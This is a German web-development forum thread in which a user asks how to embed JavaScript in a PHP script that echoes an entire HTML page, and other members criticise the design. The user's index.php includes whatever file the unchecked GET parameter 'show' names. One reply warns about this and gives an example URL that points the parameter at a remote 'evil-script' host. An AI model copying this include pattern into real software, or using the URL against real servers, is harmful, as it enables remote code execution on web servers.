donkingm: Javascript im PHP Quellcode

Hi!
Ich komme einfach nicht mehr weiter und weiß nicht wie ich Javascript in meinen PHP Code integrieren soll damit es funktioniert. Bitte helft mir!
Hier der code

  
<?php  
  
  
// Catpic bestimmen, durch GET  
$namecatpic = $_GET['show'];  
$platzhalter = "'";  
  
echo('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<title>.Netvion - Web- &amp; Softwarel&ouml;sungen</title>  
[code lang=javascript]<script language="javascript">  
window.onload = resizeIfOdd;  
window.onresize = forceSafariEven;  
  
function resizeIfOdd(){  
if(navigator.userAgent.indexOf('.$platzhalter.'Safari'.$platzhalter.') != -1)  
 if(document.documentElement.clientWidth % 2 == 1)  
  window.resizeBy(-1,0);  
};  
  
function forceSafariEven(){  
 window.setTimeout('.$platzhalter.'resizeIfOdd()'.$platzhalter.',5);  
};  
</script>

<style type="text/css">
<!--
@import url("inc/main.css");
-->
#catpic{
width:666px;
height:145px;
margin-top:0px;
margin-bottom:0px;
margin-right:79px;
float:right;
clear:right;
background-image:url(../img/catpic_'.$namecatpic.'.png);
background-repeat:no-repeat;
}

</style>
</head>

<body>
<div id="main">
<div id="topofthepage"></div>
<div id="header">
<a href="./index.html"><img src="img/logo.png" id="logo" alt=".Netvion - Web- &amp; Softwarel&ouml;sungen" /></a>
<div id="search">
<form action="#" method="post" id="suche">
<input type="text" name="q" id="suchbegriff" value="Suche" onClick="this.value='';" />
<input type="image" src="./img/submit.png" alt="Senden" id="submit" />
</form>
</div>
<p class="arialnarrow13" id="topmenu">&bull;
&nbsp;
<a href="#">Home</a>
&nbsp;&nbsp;&nbsp;&nbsp;
&bull;
&nbsp;
<a href="#">Kontakt</a>
&nbsp;&nbsp;&nbsp;&nbsp;
&bull;
&nbsp;
<a href="#">Sitemap</a>
&nbsp;&nbsp;&nbsp;&nbsp;
&bull;
&nbsp;
<a href="#">Impressum</a></p>
</div>
<div id="line5px"></div>
<div id="menu">
<p class="menu"><a href="#">&Uuml;ber uns</a></p>
<p class="menu"><a href="#">Solutions</a></p>
<p class="menu"><a href="#">Produkte</a></p>
<p class="menu"><a href="#">Referenzen</a></p>
<p class="menu"><a href="#">Jobs</a></p>
</div>
<div id="catpic"></div>
<div id="content">
  <h1>Lesbarkeit</h1>
  <p>Lieber Kunde und Leser, falls Sie keine Probleme haben, diesen  Blindtext schnell und zügig zu lesen, können Sie sich glücklich  schätzen. Der verantwortliche Art Director, der Ihnen  höchstwahrscheinlich gerade diesen Entwurf präsentiert, versteht sein  typografisches Handwerk par excellence.<br />
    Er hat diesen Copyblock  weder gestaucht, gezerrt, noch in Versalien oder gar in 6 Punkt  Eurostile Outline gesetzt. Er hat ihn ganz einfach lesbar gemacht.  Offenbar sogar ziemlich gut, sonst hätten Sie wohl schon einige Zeilen  zuvor die Leselust verloren.<br />
    Beachten Sie nur die Zeilenbreite, die er gewählt hat. Sie ist weder zu  lang noch zu kurz gewählt. Der dazugehörige Zeilenabstand ist ideal.  Ihre Augen haben keinerlei Probleme, vom Ende einer Zeile in die  nächste zu gelangen.<br />
    Um einen solchen Art Director kann man Sie beneiden. Er nutzt den ihm  gewährten gestalterischen Freiraum nicht, um sich selbst darzustellen,  sondern Sie. Er weiß, daß es Wichtiges über Ihr Unternehmen oder  Produkt zu sagen gibt.<br />
    Und dem räumt er großzügig Platz ein.<br />
    Dieser Mensch hat zweifelsohne nicht am Mäschäßutzets Inschtitut of  Gräfick Ahts studiert. Er besitzt keine Bücher von Neville Brody oder  April Greiman, und wenn doch, ordnet er sie im Regal unter Kunst ein.  Statt dessen pflegt er eine liebevoll innige Beziehung zu Büchern von  Tschichold und Otl Aicher. Und: Er liest sie.<br />
    Sie sollten an dieser Stelle ruhig mal zu ihm rüberlächeln.<br />
    Loben Sie ihn.<br />
    Laden Sie ihn zum Essen ein.<br />
    Denn Sie werden sicher noch viel Freude an seiner Arbeit haben.</p>
</div>
</div>
<div id="footer_wrap">
<div id="footer_pic"></div>
</div>
<div id="bottomofthepage"></div>
<div id="footer">&copy; Netvion GbR &nbsp; - &nbsp; Einestraße 23, 12345 Diestadt &nbsp; - &nbsp; Tel. 555-123 456 &nbsp; - &nbsp; eMail:  admin@netvion.com</div>
</body>
</html>');
?>
[/code]

  1. Ich komme einfach nicht mehr weiter und weiß nicht wie ich Javascript in meinen PHP Code integrieren soll damit es funktioniert. Bitte helft mir!

    Meinst du nicht, dass dein aktueller Code enorm unsinnig ist?

    Warum gibst du ewige HTML-Wüsten mit PHP aus, wenn du doch eigentlich primär HTML hast und nur kleine Bestandteile PHP (genauer gesagt einen einzigen Bildpfad) beinhalten?

    Das korrekte Verhalten wäre natürlich bei deinem "Problem" sich mit Grundlagen auseinanderzusetzen.

    Wie bereits erwähnt ist dein aktueller Code weder Sinnvoll noch sicher.

    1. das ist meine index.php:

      <?php  
        
      $filename = $_GET['show'];  
        
      if($filename == ""){  
        
      include("home.php");  
        
      }else{  
        
      include("".$filename.".php");  
        
      }  
        
      ?>
      

      und die managet die seiten... deshalb die html wüste!
      doch ich fragt wie ich das java script integriere!

      1. Hallo,

        das ist meine index.php:

        <?php

        $filename = $_GET['show'];

        if($filename == ""){
        include("home.php");
        }else{
        include("".$filename.".php");
        }

        ?>

          
        klasse, damit kann ich jeden beliebigen PHP-Code auf deinem Server ausführen und so deinen Server/Webspace ausspähen, in deinem Dateibestand wüten, meine eigenen Daten ablegen:  
          
         http://your.example.org/?show=http%3A%2F%2Fmy.example.org%2Fevil-script  
          
        Du solltest UNBEDINGT den übergebenen Parameter daraufhin überprüfen, ob er einen in deinem Sinn gültigen Wert hat! Eine Prüfung auf Vorhandensein bzw. Leerstring genügt nicht!  
          
        
        > und die managet die seiten... deshalb die html wüste!  
          
        Das ist überhaupt keine Erklärung für die "HTML-Wüste", hat damit gar nichts zu tun. Wer sagt, dass du in der include-Datei wieder alles in einen PHP-Anweisungsblock schreiben musst?  
          
        
        > doch ich fragt wie ich das java script integriere!  
          
        Und genau dazu hat suit dir (indirekt) einen guten Rat gegeben: Schreib den Code ganz normal als HTML runter, und setze  einen PHP-Block nur dort, wo du es unbedingt brauchst.  
          
        So long,  
         Martin  
        
        -- 
        Noch Fragen? - Ich weiß es auch nicht.  
        
        
  2. Hallo,

    ich schließe mich dem allgemeinen Tenor von Martin an. s.u.

    Abgesehen davon verstehe ich nicht so ganz, warum du die Anführungszeichen nicht maskierst:
    [...] window.setTimeout('resizeIfOdd()',5); [...]

    Gruß,
    Manu